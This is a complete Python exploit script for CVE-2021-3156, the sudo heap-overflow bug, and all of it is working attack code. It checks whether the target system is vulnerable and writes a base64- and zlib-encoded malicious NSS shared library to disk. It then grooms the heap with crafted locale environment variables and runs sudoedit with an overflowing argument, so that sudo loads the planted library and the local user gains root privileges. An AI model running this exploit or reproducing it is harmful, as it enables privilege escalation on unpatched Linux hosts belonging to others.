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#!/usr/bin/python3
'''
Exploit for CVE-2021-3156 with overwrite struct service_user by sleepya
This exploit requires:
- glibc with tcache
- nscd service is not running
Tested on:
- Ubuntu 18.04
- Ubuntu 20.04
- Debian 10
- CentOS 8
'''
import os
import subprocess
import sys
from ctypes import cdll, c_char_p, POINTER, c_int, c_void_p
SUDO_PATH = b"/usr/bin/sudo"
libc = cdll.LoadLibrary("libc.so.6")
# don't use LC_ALL (6). it override other LC_
LC_CATS = [
b"LC_CTYPE", b"LC_NUMERIC", b"LC_TIME", b"LC_COLLATE", b"LC_MONETARY",
b"LC_MESSAGES", b"LC_ALL", b"LC_PAPER", b"LC_NAME", b"LC_ADDRESS",
b"LC_TELEPHONE", b"LC_MEASUREMENT", b"LC_IDENTIFICATION"
]
def check_is_vuln():
# below commands has no log because it is invalid argument for both patched and unpatched version
# patched version, error because of '-s' argument
# unpatched version, error because of '-A' argument but no SUDO_ASKPASS environment
r, w = os.pipe()
pid = os.fork()
if not pid:
# child
os.dup2(w, 2)
execve(SUDO_PATH, [ b"sudoedit", b"-s", b"-A", b"/aa", None ], [ None ])
exit(0)
# parent
os.close(w)
os.waitpid(pid, 0)
r = os.fdopen(r, 'r')
err = r.read()
r.close()
if "sudoedit: no askpass program specified, try setting SUDO_ASKPASS" in err:
return True
assert err.startswith('usage: ') or "invalid mode flags " in err, err
return False
def create_libx(name):
so_path = 'libnss_'+name+'.so.2'
if os.path.isfile(so_path):
return # existed
so_dir = 'libnss_' + name.split('/')[0]
if not os.path.exists(so_dir):
os.makedirs(so_dir)
import zlib
import base64
libx_b64 = 'eNqrd/VxY2JkZIABZgY7BhBPACrkwIAJHBgsGJigbJAydgbcwJARlWYQgFBMUH0boMLodAIazQGl\neWDGQM1jRbOPDY3PhcbnZsAPsjIjDP/zs2ZlRfCzGn7z2KGflJmnX5zBEBASn2UdMZOfFQDLghD3'
with open(so_path, 'wb') as f:
f.write(zlib.decompress(base64.b64decode(libx_b64)))
#os.chmod(so_path, 0o755)
def check_nscd_condition():
if not os.path.exists('/var/run/nscd/socket'):
return True # no socket. no service
# try connect
import socket
sk = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
try:
sk.connect('/var/run/nscd/socket')
except:
return True
else:
sk.close()
with open('/etc/nscd.conf', 'r') as f:
for line in f:
line = line.strip()
if not line.startswith('enable-cache'):
continue # comment
service, enable = line.split()[1:]
# in fact, if only passwd is enabled, exploit with this method is still possible (need test)
# I think no one enable passwd but disable group
if service == 'passwd' and enable == 'yes':
return False
# group MUST be disabled to exploit sudo with nss_load_library() trick
if service == 'group' and enable == 'yes':
return False
return True
def get_libc_version():
output = subprocess.check_output(['ldd', '--version'], universal_newlines=True)
for line in output.split('\n'):
if line.startswith('ldd '):
ver_txt = line.rsplit(' ', 1)[1]
return list(map(int, ver_txt.split('.')))
return None
def check_libc_version():
version = get_libc_version()
assert version, "Cannot detect libc version"
# this exploit only works which glibc tcache (added in 2.26)
return version[0] >= 2 and version[1] >= 26
def check_libc_tcache():
libc.malloc.argtypes = (c_int,)
libc.malloc.restype = c_void_p
libc.free.argtypes = (c_void_p,)
# small bin or tcache
size1, size2 = 0xd0, 0xc0
mems = [0]*32
# consume all size2 chunks
for i in range(len(mems)):
mems[i] = libc.malloc(size2)
mem1 = libc.malloc(size1)
libc.free(mem1)
mem2 = libc.malloc(size2)
libc.free(mem2)
for addr in mems:
libc.free(addr)
return mem1 != mem2
def get_service_user_idx():
'''Parse /etc/nsswitch.conf to find a group entry index
'''
idx = 0
found = False
with open('/etc/nsswitch.conf', 'r') as f:
for line in f:
if line.startswith('#'):
continue # comment
line = line.strip()
if not line:
continue # empty line
words = line.split()
if words[0] == 'group:':
found = True
break
for word in words[1:]:
if word[0] != '[':
idx += 1
assert found, '"group" database is not found. might be exploitable but no test'
return idx
def get_extra_chunk_count(target_chunk_size):
# service_user are allocated by calling getpwuid()
# so we don't care allocation of chunk size 0x40 after getpwuid()
# there are many string that size can be varied
# here is the most common
chunk_cnt = 0
# get_user_info() -> get_user_groups() ->
gids = os.getgroups()
malloc_size = len("groups=") + len(gids) * 11
chunk_size = (malloc_size + 8 + 15) & 0xfffffff0 # minimum size is 0x20. don't care here
if chunk_size == target_chunk_size: chunk_cnt += 1
# host=<hostname> (unlikely)
# get_user_info() -> sudo_gethostname()
import socket
malloc_size = len("host=") + len(socket.gethostname()) + 1
chunk_size = (malloc_size + 8 + 15) & 0xfffffff0
if chunk_size == target_chunk_size: chunk_cnt += 1
# simply parse "networks=" from "ip addr" command output
# another workaround is bruteforcing with number of 0x70
# policy_open() -> format_plugin_settings() ->
# a value is created from "parse_args() -> get_net_ifs()" with very large buffer
try:
import ipaddress
except:
return chunk_cnt
cnt = 0
malloc_size = 0
proc = subprocess.Popen(['ip', 'addr'], stdout=subprocess.PIPE, bufsize=1, universal_newlines=True)
for line in proc.stdout:
line = line.strip()
if not line.startswith('inet'):
continue
if cnt < 2: # skip first 2 address (lo interface)
cnt += 1
continue;
addr = line.split(' ', 2)[1]
mask = str(ipaddress.ip_network(addr if sys.version_info >= (3,0,0) else addr.decode("UTF-8"), False).netmask)
malloc_size += addr.index('/') + 1 + len(mask)
cnt += 1
malloc_size += len("network_addrs=") + cnt - 3 + 1
chunk_size = (malloc_size + 8 + 15) & 0xfffffff0
if chunk_size == target_chunk_size: chunk_cnt += 1
proc.wait()
return chunk_cnt
def execve(filename, argv, envp):
libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p)
cargv = (c_char_p * len(argv))(*argv)
cenvp = (c_char_p * len(envp))(*envp)
libc.execve(filename, cargv, cenvp)
def lc_env(cat_id, chunk_len):
name = b"C.UTF-8@"
name = name.ljust(chunk_len - 0x18, b'Z')
return LC_CATS[cat_id]+b"="+name
assert check_is_vuln(), "target is patched"
assert check_libc_version(), "glibc is too old. The exploit is relied on glibc tcache feature. Need version >= 2.26"
assert check_libc_tcache(), "glibc tcache is not found"
assert check_nscd_condition(), "nscd service is running, exploit is impossible with this method"
service_user_idx = get_service_user_idx()
assert service_user_idx < 9, '"group" db in nsswitch.conf is too far, idx: %d' % service_user_idx
create_libx("X/X1234")
# Note: actions[5] can be any value. library and known MUST be NULL
FAKE_USER_SERVICE_PART = [ b"\\" ] * 0x18 + [ b"X/X1234\\" ]
TARGET_OFFSET_START = 0x780
FAKE_USER_SERVICE = FAKE_USER_SERVICE_PART*30
FAKE_USER_SERVICE[-1] = FAKE_USER_SERVICE[-1][:-1] # remove last '\\'. stop overwritten
CHUNK_CMND_SIZE = 0xf0
# Allow custom extra_chunk_cnt incase unexpected allocation
# Note: this step should be no need when CHUNK_CMND_SIZE is 0xf0
extra_chunk_cnt = get_extra_chunk_count(CHUNK_CMND_SIZE) if len(sys.argv) < 2 else int(sys.argv[1])
argv = [ b"sudoedit", b"-A", b"-s", b"A"*(CHUNK_CMND_SIZE-0x10)+b"\\", None ]
env = [ b"Z"*(TARGET_OFFSET_START + 0xf - 8 - 1) + b"\\" ] + FAKE_USER_SERVICE
# first 2 chunks are fixed. chunk40 (target service_user) is overwritten from overflown cmnd (in get_cmnd)
env.extend([ lc_env(0, 0x40)+b";A=", lc_env(1, CHUNK_CMND_SIZE) ])
# add free chunks that created before target service_user
for i in range(2, service_user_idx+2):
# skip LC_ALL (6)
env.append(lc_env(i if i < 6 else i+1, 0x40))
if service_user_idx == 0:
env.append(lc_env(2, 0x20)) # for filling hole
for i in range(11, 11-extra_chunk_cnt, -1):
env.append(lc_env(i, CHUNK_CMND_SIZE))
env.append(lc_env(12, 0x90)) # for filling holes from freed file buffer
env.append(b"TZ=:") # shortcut tzset function
# don't put "SUDO_ASKPASS" environment. sudo will fail without logging if no segfault
env.append(None)
execve(SUDO_PATH, argv, env)